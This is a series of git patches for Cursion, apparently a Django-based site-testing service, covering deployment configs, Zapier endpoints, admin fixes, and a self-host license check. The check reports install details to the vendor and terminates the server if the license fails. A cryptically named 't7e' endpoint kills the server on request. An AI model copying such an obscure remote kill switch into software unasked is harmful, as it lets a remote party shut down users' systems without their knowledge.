     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 543c3e49..2e9f96f9 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -4,7 +4,7 @@
 from django.core import serializers
 from datetime import date, datetime, timedelta
 from ...models import (
-    Account, Member, Card, Site, Issue, Flow, Schedule,
+    Account, Member, Card, Site, Issue, Schedule, Flow,
     get_meta_default, get_usage_default
 )
 from ..ops.services import delete_site

From 4324911258a5740f5b438eec2df4ab9bbe2d1932 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 11 Dec 2024 15:51:05 -0700
Subject: [PATCH 0804/1099] fixed entrypoint command

---
 k8s/prod/app-deployment.yaml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 2f010b67..1cb733b6 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,11 +18,11 @@ spec:
         - name: regcred
       containers:
         - name: cursion-server
-          image: <IMAGE> # cursiondev/server:latest # 
+          image: <IMAGE> # cursiondev/server:cd77834 #
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
-          command: ["/entrypoint.sh", "app", "remote"]
+          command: ["/entrypoint.sh", "server", "remote"]
           envFrom:
             - configMapRef:
                 name: app-configs

From ca58742aabcb8b2b817f5f77e5847123354e6b56 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 11 Dec 2024 16:00:15 -0700
Subject: [PATCH 0805/1099] adding temp task for usage reset

---
 app/api/tasks.py | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index d9bc83a2..b0dd5f8e 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2428,6 +2428,18 @@ def reset_usage(account, timestamp) -> None:
 
 
 
+@shared_task
+def temp_account_reset(account_id: str=None) -> None:
+
+    acccount = Account.objects.get(id=account_id)
+    usage = get_usage_default()
+    usage['sites'] = Site.objects.filter(account=account).count()
+    account.usage = usage
+    account.save()
+
+    return None
+
+
 
 @shared_task
 def update_sub_price(account_id: str=None, sites_allowed: int=None) -> None:

From c9e51e530a3f1dfc30d308bfb65510c5d99df6da Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 11 Dec 2024 16:00:27 -0700
Subject: [PATCH 0806/1099] fixed permission_check issue

---
 app/api/v1/ops/services.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 1f434ebc..62472e7c 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1375,7 +1375,7 @@ def get_pages_zapier(request: object=None) -> object:
 
     # check account and resource 
     check_data = check_permissions_and_usage(
-        user_id=str(request.user.id), resource=resource, action='get',
+        member=member, resource=resource, action='get',
         id=site_id, id_type='site'
     )
     if not check_data['allowed']:
@@ -2018,7 +2018,7 @@ def get_scans_zapier(request: object=None) -> object:
 
     # check account and resource 
     check_data = check_permissions_and_usage(
-        user_id=str(request.user.id), resource=resource, 
+        member=member, resource=resource, 
         action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
@@ -2758,7 +2758,7 @@ def get_tests_zapier(request: object=None) -> object:
 
     # check account and resource 
     check_data = check_permissions_and_usage(
-        user_id=str(request.user.id), resource=resource, 
+        member=member, resource=resource, 
         action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:
@@ -3327,7 +3327,7 @@ def get_issues_zapier(request: object=None) -> object:
 
     # check account and resource 
     check_data = check_permissions_and_usage(
-        user_id=str(request.user.id), resource=resource, 
+        member=member, resource=resource, 
         action='get', id=id, id_type=id_type
     )
     if not check_data['allowed']:

From ad10c2f70180507d0c04aa38b1cbc2955e837aba Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 11 Dec 2024 16:32:39 -0700
Subject: [PATCH 0807/1099] fixing temp account usage task

---
 app/api/tasks.py | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index b0dd5f8e..81372bd0 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2429,13 +2429,14 @@ def reset_usage(account, timestamp) -> None:
 
 
 @shared_task
-def temp_account_reset(account_id: str=None) -> None:
+def temp_account_reset() -> None:
 
-    acccount = Account.objects.get(id=account_id)
-    usage = get_usage_default()
-    usage['sites'] = Site.objects.filter(account=account).count()
-    account.usage = usage
-    account.save()
+
+    for account in Account.objects.all():
+        usage = get_usage_default()
+        usage['sites'] = Site.objects.filter(account=account).count()
+        account.usage = usage
+        account.save()
 
     return None
 

From 2c761d3dd330bb4bdbe2f86510b33b777fa5b6c8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 11 Dec 2024 17:11:23 -0700
Subject: [PATCH 0808/1099] fixing minor case issues

---
 app/api/admin.py  | 2 +-
 app/api/models.py | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index 8ebd6ca0..d6a4e366 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -202,7 +202,7 @@ def delete_cases(self, request, queryset):
         for case in queryset:
             delete_case(
                 id=case.id,
-                account=case.account
+                user=case.user
             )
 
 
diff --git a/app/api/models.py b/app/api/models.py
index f0638468..cd7474ef 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -544,7 +544,7 @@ class Case(models.Model):
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
 
     def __str__(self):
-        return f'{self.title}' if len(self.title) > 0 else str(id)  ### REMANED from self.name to self.title
+        return f'{self.title}' if self.title else str(id)  ### REMANED from self.name to self.title
 
 
 

From a4d6bc497a97671b271588337d198e5e56159fa9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 11 Dec 2024 17:14:30 -0700
Subject: [PATCH 0809/1099] fixing some admin tools

---
 app/api/admin.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index d6a4e366..a726d93d 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -111,7 +111,7 @@ def delete_pages(self, request, queryset):
         for page in queryset:
             delete_page(
                 id=page.id,
-                account=page.account
+                user=page.user
             )
 
 
@@ -219,7 +219,7 @@ def delete_caseruns(self, request, queryset):
         for caserun in queryset:
             delete_caserun(
                 id=caserun.id,
-                account=caserun.account
+                user=caserun.user
             )
 
 

From 7132f0b313392e6b4ffc8c0ecd334234400ec7de Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 12 Dec 2024 14:54:57 -0700
Subject: [PATCH 0810/1099] fixed some admin tools and selfhost verification

---
 app/api/management/commands/create_admin.py   |  3 +-
 .../{driver_test.py => test_driver.py}        |  0
 app/api/management/commands/verify_account.py | 13 ++++
 app/api/utils/verify.py                       | 66 +++++++++----------
 app/api/v1/auth/services.py                   | 21 ++----
 setup/scripts/entrypoint.sh                   |  8 ++-
 6 files changed, 59 insertions(+), 52 deletions(-)
 rename app/api/management/commands/{driver_test.py => test_driver.py} (100%)
 create mode 100644 app/api/management/commands/verify_account.py

diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py
index 47b2a1a1..af9a1b3d 100644
--- a/app/api/management/commands/create_admin.py
+++ b/app/api/management/commands/create_admin.py
@@ -78,5 +78,4 @@ def handle(self, *args, **options):
             print('Accounts can only be initialized if no Accounts exist')
 
         if not Token.objects.filter(user=user).exists():
-            Token.objects.create(user=user)
-        # verify()
\ No newline at end of file
+            Token.objects.create(user=user)
\ No newline at end of file
diff --git a/app/api/management/commands/driver_test.py b/app/api/management/commands/test_driver.py
similarity index 100%
rename from app/api/management/commands/driver_test.py
rename to app/api/management/commands/test_driver.py
diff --git a/app/api/management/commands/verify_account.py b/app/api/management/commands/verify_account.py
new file mode 100644
index 00000000..a93de01b
--- /dev/null
+++ b/app/api/management/commands/verify_account.py
@@ -0,0 +1,13 @@
+from django.core.management.base import BaseCommand
+from ...utils.verify import verify
+
+
+
+
+
+
+# verifies deployment
+class Command(BaseCommand):
+
+    def handle(self, *args, **options):
+        verify()
\ No newline at end of file
diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py
index 74df4978..2bcdd716 100644
--- a/app/api/utils/verify.py
+++ b/app/api/utils/verify.py
@@ -1,4 +1,5 @@
-import os, requests, json
+import os, requests, json, signal
+from cursion import settings
 
 
 
@@ -6,35 +7,34 @@
 
 
 def verify():
-    username = os.environ.get('ADMIN_USER')
-    email = os.environ.get('ADMIN_EMAIL')
-    license_key = os.environ.get('LICENSE_KEY')
-    api_root = os.environ.get('API_URL_ROOT')
-    client_root = os.environ.get('CLIENT_URL_ROOT')
-    url = 'https://cursion.dev/api/verify'
-
-    headers = {
-        "Content-Type": "application/json",
-    }
-    
-    data = {
-        "username": username,
-        "email": email,
-        "license_key": license_key,
-        "api_root": api_root,
-        "client_root": client_root
-    }
-
-    res = requests.get(
-        url=url, 
-        headers=headers, 
-        params=data
-    ).json()
-
-    # remove this !!!
-    print(res)
-
-    if res.get('verified'):
-        return
-    else:
-        os.abort()
\ No newline at end of file
+
+    if os.environ.get('MODE') == 'selfhost':
+        username = os.environ.get('ADMIN_USER')
+        email = os.environ.get('ADMIN_EMAIL')
+        license_key = os.environ.get('LICENSE_KEY')
+        api_root = os.environ.get('API_URL_ROOT')
+        client_root = os.environ.get('CLIENT_URL_ROOT')
+        url = f'{settings.LANDING_API_ROOT}/ops/verify'
+
+        headers = {
+            "Content-Type": "application/json",
+        }
+        
+        data = {
+            "username": username,
+            "email": email,
+            "license_key": license_key,
+            "api_root": api_root,
+            "client_root": client_root
+        }
+
+        res = requests.get(
+            url=url, 
+            headers=headers, 
+            params=data
+        ).json()
+
+        if res.get('verified'):
+            return
+        else:
+            os.kill(os.getpid(), signal.SIGTERM)
\ No newline at end of file
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index ed6c0ac0..4ae4d7a7 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -22,7 +22,7 @@
 from ...utils.alerts import send_reset_link
 from ...tasks import send_invite_link_bg, send_remove_alert_bg, create_prospect
 from cursion import settings
-import requests, os, subprocess, secrets
+import requests, os, subprocess, secrets, sys, signal
 
 
 
@@ -1221,21 +1221,14 @@ def t7e(request: object) -> None:
     Returns -> None
     """
 
-    # default
-    success = False
-
     # validating
     if request.query_params.get('license_key') == os.environ.get('LICENSE_KEY'):
-        subprocess.Popen(['pkill -f gunicorn'], 
-            stdout=subprocess.PIPE,
-            user='app',
-        )
-        os.abort()
-        success = True
-        
-    # returning response
-    data = {'success': True}
-    return Response(data, status=status.HTTP_200_OK)
+
+        # terminating
+        try:
+            os.kill(os.getpid(), signal.SIGTERM)
+        except Exception as e:
+            return Response({'success': False}, status=status.HTTP_200_OK)
 
 
 
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index ca7daf2c..fb001213 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# spin up server in local or remote env
+# spin up server in local, remote, or stage env
 if [[ $1 == *"server"* ]]
   then 
     if [[ $2 == *"local"* ]]
@@ -8,8 +8,9 @@ if [[ $1 == *"server"* ]]
         python3 manage.py wait_for_db && 
         python3 manage.py migrate --no-input &&
         python3 manage.py create_admin &&
+        python3 manage.py verify_account &&
         python3 manage.py create_tasks &&
-        python3 manage.py driver_test &&
+        python3 manage.py test_driver &&
         python3 manage.py runserver 0.0.0.0:8000
     fi
     if [[ $2 == *"remote"* ]]
@@ -17,8 +18,9 @@ if [[ $1 == *"server"* ]]
         python3 manage.py wait_for_db && 
         python3 manage.py migrate --no-input &&
         python3 manage.py create_admin &&
+        python3 manage.py verify_account &&
         python3 manage.py create_tasks &&
-        python3 manage.py driver_test &&
+        python3 manage.py test_driver &&
         gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug cursion.wsgi:application --bind 0.0.0.0:8000
     fi
     if [[ $2 == *"stage"* ]]

From b852eab6a921cc5dda2ecb216f4d262f7ab4052a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 12 Dec 2024 15:45:04 -0700
Subject: [PATCH 0811/1099] updated remote docker-compose

---
 docker/docker-compose.remote.yml | 75 ++++++++++++++++++--------------
 1 file changed, 42 insertions(+), 33 deletions(-)

diff --git a/docker/docker-compose.remote.yml b/docker/docker-compose.remote.yml
index bc9a7ad6..37ef3b41 100644
--- a/docker/docker-compose.remote.yml
+++ b/docker/docker-compose.remote.yml
@@ -1,30 +1,30 @@
 services:
 
 
-  app:
-    container_name: cursion-app
-    hostname: cursion-app
-    restart: always
+  server:
+    container_name: cursion-server
+    hostname: cursion-server
+    image: cursiondev/server
     platform: linux/amd64
+    pull_policy: always
+    restart: always
     privileged: true
     init: true
-    build:
-      context: .
-      dockerfile: Dockerfile
-    entrypoint: ["/entrypoint.sh", "app", "remote"]
+    entrypoint: ["/entrypoint.sh", "server", "remote"]
     expose:
-      - 8000
+      - "8000"
     env_file:
-      - .env.remote
+      - ./env/.server.env
     volumes:
-      - app:/app
-      - static_volume:/app/static
+      - server:/app
+      - static_volume:/app/staticfiles
 
 
   redis:
     container_name: cursion-redis
     hostname: cursion-redis
     image: redis:alpine
+    platform: linux/amd64
     ports:
       - "6379"
 
@@ -32,93 +32,102 @@ services:
   celery:
     container_name: cursion-celery
     hostname: cursion-celery
+    image: cursiondev/server
+    platform: linux/amd64
+    pull_policy: always
     privileged: true
     restart: always
-    build:
-      context: .
-      dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "celery"]
     env_file:
-      - .env.remote
+      - ./env/.server.env
     volumes:
       - celery:/app
     depends_on:
       - redis
-      - app
+      - server
+      - db
 
 
   beat:
     container_name: cursion-beat
     hostname: cursion-beat
+    image: cursiondev/server
+    platform: linux/amd64
     privileged: true
+    pull_policy: always
     restart: always
-    build:
-      context: .
-      dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
       - beat:/app
     env_file:
-      - .env.remote
+      - ./env/.server.env
     depends_on:
       - redis
       - celery
-      - app
+      - server
+      - db
 
 
   yellowlab:
     container_name: yellowlab
     hostname: yellowlab
+    image: cursiondev/ylt
+    pull_policy: always
+    platform: linux/amd64
     privileged: true
     restart: always
-    image: cursiondev/ylt
     ports:
-      - 8383:8383
+      - "8383:8383"
     depends_on:
       - redis
       - celery 
-      - app
+      - server
+      - db
 
 
   nginx-proxy:
     container_name: nginx-proxy
     hostname: nginx-proxy
     image: cursiondev/nginx
+    pull_policy: always
+    platform: linux/amd64
     restart: always
     ports:
-      - 443:443
-      - 80:80
+      - "443:443"
+      - "80:80"
     volumes:
-      - static_volume:/app/static
+      - static_volume:/app/staticfiles
       - certs:/etc/nginx/certs
       - html:/usr/share/nginx/html
       - vhost:/etc/nginx/vhost.d
       - /var/run/docker.sock:/tmp/docker.sock:ro
     depends_on:
-      - app
+      - server
+      - client
   
   
   nginx-proxy-letsencrypt:
     container_name: nginx-proxy-letsencrypt
     hostname: nginx-proxy-letsencrypt
     image: nginxproxy/acme-companion
+    platform: linux/amd64
     env_file:
-      - .env.remote
+      - ./env/.server.env
     volumes:
-      - /var/run/docker.sock:/var/run/docker.sock:ro
       - certs:/etc/nginx/certs
       - html:/usr/share/nginx/html
       - vhost:/etc/nginx/vhost.d
+      - /var/run/docker.sock:/tmp/docker.sock:ro
       - letsencrypt-acme:/etc/acme.sh
     depends_on:
       - nginx-proxy
       
 
 volumes:
-  app:
+  server:
+  static_volume:
   celery:
   beat:
-  static_volume:
   letsencrypt-acme:
   certs:
   html:

From 873b777745cb983a3cc3c573d4c506bbd6e4164c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 12 Dec 2024 15:49:05 -0700
Subject: [PATCH 0812/1099] more remote docker-compose changes

---
 docker/docker-compose.remote.yml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/docker/docker-compose.remote.yml b/docker/docker-compose.remote.yml
index 37ef3b41..e7d440d6 100644
--- a/docker/docker-compose.remote.yml
+++ b/docker/docker-compose.remote.yml
@@ -14,7 +14,7 @@ services:
     expose:
       - "8000"
     env_file:
-      - ./env/.server.env
+      - ./env/.env.remote
     volumes:
       - server:/app
       - static_volume:/app/staticfiles
@@ -39,7 +39,7 @@ services:
     restart: always
     entrypoint: ["/entrypoint.sh", "celery"]
     env_file:
-      - ./env/.server.env
+      - ./env/.env.remote
     volumes:
       - celery:/app
     depends_on:
@@ -60,7 +60,7 @@ services:
     volumes:
       - beat:/app
     env_file:
-      - ./env/.server.env
+      - ./env/.env.remote
     depends_on:
       - redis
       - celery
@@ -112,7 +112,7 @@ services:
     image: nginxproxy/acme-companion
     platform: linux/amd64
     env_file:
-      - ./env/.server.env
+      - ./env/.env.remote
     volumes:
       - certs:/etc/nginx/certs
       - html:/usr/share/nginx/html

From 103f31e66434e1305754151a5151d46c592d0b32 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 12 Dec 2024 15:52:24 -0700
Subject: [PATCH 0813/1099] move remote back to root

---
 docker/docker-compose.remote.yml => docker-compose.remote.yml | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 rename docker/docker-compose.remote.yml => docker-compose.remote.yml (100%)

diff --git a/docker/docker-compose.remote.yml b/docker-compose.remote.yml
similarity index 100%
rename from docker/docker-compose.remote.yml
rename to docker-compose.remote.yml

From 6d6f36415c2df4645cbcd53b06907b783cbaa8cf Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 12 Dec 2024 15:58:33 -0700
Subject: [PATCH 0814/1099] remove db ref on remote

---
 docker-compose.remote.yml | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/docker-compose.remote.yml b/docker-compose.remote.yml
index e7d440d6..24008d75 100644
--- a/docker-compose.remote.yml
+++ b/docker-compose.remote.yml
@@ -45,7 +45,6 @@ services:
     depends_on:
       - redis
       - server
-      - db
 
 
   beat:
@@ -65,7 +64,6 @@ services:
       - redis
       - celery
       - server
-      - db
 
 
   yellowlab:
@@ -82,7 +80,6 @@ services:
       - redis
       - celery 
       - server
-      - db
 
 
   nginx-proxy:

From ed76fde99e6756ad10bc1bc04474598470ccc7f6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 12 Dec 2024 15:59:50 -0700
Subject: [PATCH 0815/1099] removed client ref on remote

---
 docker-compose.remote.yml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/docker-compose.remote.yml b/docker-compose.remote.yml
index 24008d75..10cc0c87 100644
--- a/docker-compose.remote.yml
+++ b/docker-compose.remote.yml
@@ -100,7 +100,6 @@ services:
       - /var/run/docker.sock:/tmp/docker.sock:ro
     depends_on:
       - server
-      - client
   
   
   nginx-proxy-letsencrypt:

From 85d278b362ecc0d2029cd84d52f293fc7f777e75 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 14 Dec 2024 08:56:50 -0600
Subject: [PATCH 0816/1099] updated landing url var

---
 app/api/tasks.py                  | 2 +-
 app/api/utils/alerts.py           | 2 +-
 app/api/utils/exporter.py         | 2 +-
 app/api/utils/verify.py           | 3 +--
 app/cursion/settings.py           | 2 +-
 k8s/prod/app-configs-example.yaml | 2 +-
 6 files changed, 6 insertions(+), 7 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 81372bd0..62b2f21f 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2697,7 +2697,7 @@ def create_prospect(user_email: str=None) -> None:
         _status = 'customer' # account is active and paid
     
     # setup configs
-    url = f'{settings.LANDING_API_ROOT}/ops/prospect'
+    url = f'{settings.LANDING_URL_ROOT}/ops/prospect'
     headers = {
         "content-type": "application/json",
         "Authorization" : f'Token {settings.LANDING_API_KEY}'
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 8f96c1c1..c90d2e71 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -810,7 +810,7 @@ def sendgrid_email(
         'pre_content' : pre_content,
         'object_url' : object_url,
         'exp_list': exp_list,
-        'home_page' : settings.LANDING_API_ROOT,
+        'home_page' : settings.LANDING_URL_ROOT,
         'button_text' : button_text,
         'content' : content,
         'signature' : signature,
diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 5211ef18..e63c425a 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -37,7 +37,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     driver = driver_init(scale_factor=1)
 
     # nav to report page
-    driver.get(f'{settings.LANDING_API_ROOT}/report/{report_id}')
+    driver.get(f'{settings.LANDING_URL_ROOT}/report/{report_id}')
     time.sleep(5)
 
     # setting screensize
diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py
index 2bcdd716..af11358a 100644
--- a/app/api/utils/verify.py
+++ b/app/api/utils/verify.py
@@ -1,5 +1,4 @@
 import os, requests, json, signal
-from cursion import settings
 
 
 
@@ -14,7 +13,7 @@ def verify():
         license_key = os.environ.get('LICENSE_KEY')
         api_root = os.environ.get('API_URL_ROOT')
         client_root = os.environ.get('CLIENT_URL_ROOT')
-        url = f'{settings.LANDING_API_ROOT}/ops/verify'
+        url = f'{os.environ.get('LANDING_URL_ROOT')}/ops/verify'
 
         headers = {
             "Content-Type": "application/json",
diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index 1817a3b6..17f6e4cf 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -40,7 +40,7 @@
 
 # URLs & location
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')
-LANDING_API_ROOT = os.environ.get('LANDING_API_ROOT')
+LANDING_URL_ROOT = os.environ.get('LANDING_URL_ROOT')
 API_URL_ROOT = os.environ.get('API_URL_ROOT')
 YELLOWLAB_ROOT = os.environ.get('YELLOWLAB_ROOT')
 LIGHTHOUSE_ROOT = os.environ.get('LIGHTHOUSE_ROOT')
diff --git a/k8s/prod/app-configs-example.yaml b/k8s/prod/app-configs-example.yaml
index b8022016..1291d535 100644
--- a/k8s/prod/app-configs-example.yaml
+++ b/k8s/prod/app-configs-example.yaml
@@ -10,7 +10,7 @@ data:
   YELLOWLAB_ROOT : "http://ylt-service"
   LIGHTHOUSE_ROOT : "https://www.googleapis.com/pagespeedonline/v5/runPagespeed"
   LANDING_API_KEY : ""
-  LANDING_API_ROOT : "https://yourdomain.com"
+  LANDING_URL_ROOT : "https://yourdomain.com"
   LETSENCRYPT_HOST : "api.yourdomain.com"         
   VIRTUAL_HOST : "api.yourdomain.com"            
   VIRTUAL_PORT : "8000"

From 95943025f2572ce62252e128e824fd365af4779a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 14 Dec 2024 10:31:43 -0600
Subject: [PATCH 0817/1099] updated for zapier

---
 app/api/v1/ops/services.py | 16 ++++++++++++----
 1 file changed, 12 insertions(+), 4 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 62472e7c..68ad028c 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5422,8 +5422,12 @@ def create_caserun(request: object=None) -> object:
     run_case.delay(caserun_id=caserun.id)
 
     # serialize and return
-    serializer_context = {'request': request,}
-    data = CaseRunSerializer(caserun, context=serializer_context).data
+    data = {
+        'id': str(caserun.id),
+        'title': str(flowrun.title),
+        'site': str(site.id),
+        'time_created': str(caserun.time_created)
+    }
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
     return response
@@ -6195,8 +6199,12 @@ def create_flowrun(request: object=None) -> object:
     # event and then run the first instance of flowr.py
 
     # serialize and return
-    serializer_context = {'request': request,}
-    data = FlowRunSerializer(flowrun, context=serializer_context).data
+    data = {
+        'id': str(flowrun.id),
+        'title': str(flowrun.title),
+        'site': str(site.id),
+        'time_created': str(flowrun.time_created)
+    }
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
     return response

From 629fdf626563ea160ae507703b8cf725725bcbb1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 19 Dec 2024 13:53:56 -0600
Subject: [PATCH 0818/1099] fixed typo

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 68ad028c..473c4764 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5424,7 +5424,7 @@ def create_caserun(request: object=None) -> object:
     # serialize and return
     data = {
         'id': str(caserun.id),
-        'title': str(flowrun.title),
+        'title': str(caserun.title),
         'site': str(site.id),
         'time_created': str(caserun.time_created)
     }

From 09866f124ab98225321ebd4dfe28d0ebdfe6e672 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 27 Dec 2024 12:51:42 -0700
Subject: [PATCH 0819/1099] fixing bug in delete_old_resources

---
 app/api/tasks.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 62b2f21f..3c768c61 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2556,6 +2556,7 @@ def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
         tests = Test.objects.filter(site__account__id=account_id, time_created__lte=max_date)
         scans = Scan.objects.filter(site__account__id=account_id, time_created__lte=max_date)
         caseruns = CaseRun.objects.filter(account__id=account_id, time_created__lte=max_date)
+        flowruns = FlowRun.objects.filter(account__id=account_id, time_created__lte=max_date)
         processes = Process.objects.filter(account__id=account_id, time_created__lte=max_proc_date)
         
         # get all old Logs
@@ -2583,7 +2584,7 @@ def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
     for caserun in caseruns:
         delete_caserun_s3_bg.delay(caserun.id)
         caserun.delete()
-    for flowrun in flowrun:
+    for flowrun in flowruns:
         flowrun.delete()
     for process in processes:
         process.delete()

From a5906ed49c271cb898b94328faa81d721650cd92 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 27 Dec 2024 14:02:07 -0700
Subject: [PATCH 0820/1099] testing new redis locking method to prevent
 duplicate task creation

---
 app/api/tasks.py      | 1086 +++++++++++++++++++++--------------------
 app/cursion/celery.py |    1 +
 2 files changed, 569 insertions(+), 518 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 3c768c61..f72a01e2 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -20,9 +20,11 @@
 from django.contrib.auth.models import User
 from django.utils import timezone
 from datetime import datetime, timedelta, timezone
+from redis import Redis
+from contextlib import contextmanager
 from cursion import settings
 import asyncio, boto3, time, requests, \
-json, stripe, inspect, random
+json, stripe, inspect, random, secrets
 
 
 
@@ -43,6 +45,29 @@ class BaseTaskWithRetry(Task):
 
 
 
+# setting redis client
+redis_client = Redis.from_url(settings.CELERY_BROKER_URL)
+
+
+
+
+# setting locking manager to prevent duplicate tasks
+@contextmanager
+def task_lock(lock_name, timeout=60):
+    lock = redis_client.lock(lock_name, timeout=timeout)
+    acquired = lock.acquire(blocking=False)
+    try:
+        if acquired:
+            yield True
+        else:
+            yield False
+    finally:
+        if acquired:
+            lock.release()
+
+
+
+
 # setting s3 instance
 def s3():
     s3 = boto3.resource('s3', 
@@ -741,119 +766,124 @@ def create_scan_bg(self, *args, **kwargs) -> None:
     flowrun_id = kwargs.get('flowrun_id')
     node_index = kwargs.get('node_index')
 
-    # checking location
-    if not check_location(configs.get('location', settings.LOCATION)):
-        logger.info('Not running due to location param')
-        return None
+    # check for redis lock
+    redis_id = task_id if task_id else secrets.token_hex(8)
+    lock_name = f"lock:create_scan_bg_{redis_id}"
+    with task_lock(lock_name):
 
-    # setting defaults
-    pages = []
-    sites = []
-    objects = []
+        # checking location
+        if not check_location(configs.get('location', settings.LOCATION)):
+            logger.info('Not running due to location param')
+            return None
 
-    # get account if account_id exists
-    if account_id:
-        account = Account.objects.get(id=account_id)
-        
-    # iterating through resources 
-    # and adding to sites or pages
-    if len(resources) > 0:
-        for item in resources:
+        # setting defaults
+        pages = []
+        sites = []
+        objects = []
+
+        # get account if account_id exists
+        if account_id:
+            account = Account.objects.get(id=account_id)
             
-            # adding to pages
-            if item['type'] == 'page':
-                try:
-                    pages.append(
-                        Page.objects.get(id=item['id'])
-                    )
-                except Exception as e:
-                    print(e)
+        # iterating through resources 
+        # and adding to sites or pages
+        if len(resources) > 0:
+            for item in resources:
+                
+                # adding to pages
+                if item['type'] == 'page':
+                    try:
+                        pages.append(
+                            Page.objects.get(id=item['id'])
+                        )
+                    except Exception as e:
+                        print(e)
+                
+                # adding to sites
+                if item['type'] == 'site':
+                    try:
+                        sites.append(
+                            Site.objects.get(id=item['id'])
+                        ) 
+                    except Exception as e:
+                        print(e)
+        
+        # grabbing all sites because no 
+        # resources were specified and scope is "account"
+        if len(resources) == 0 and scope == 'account':
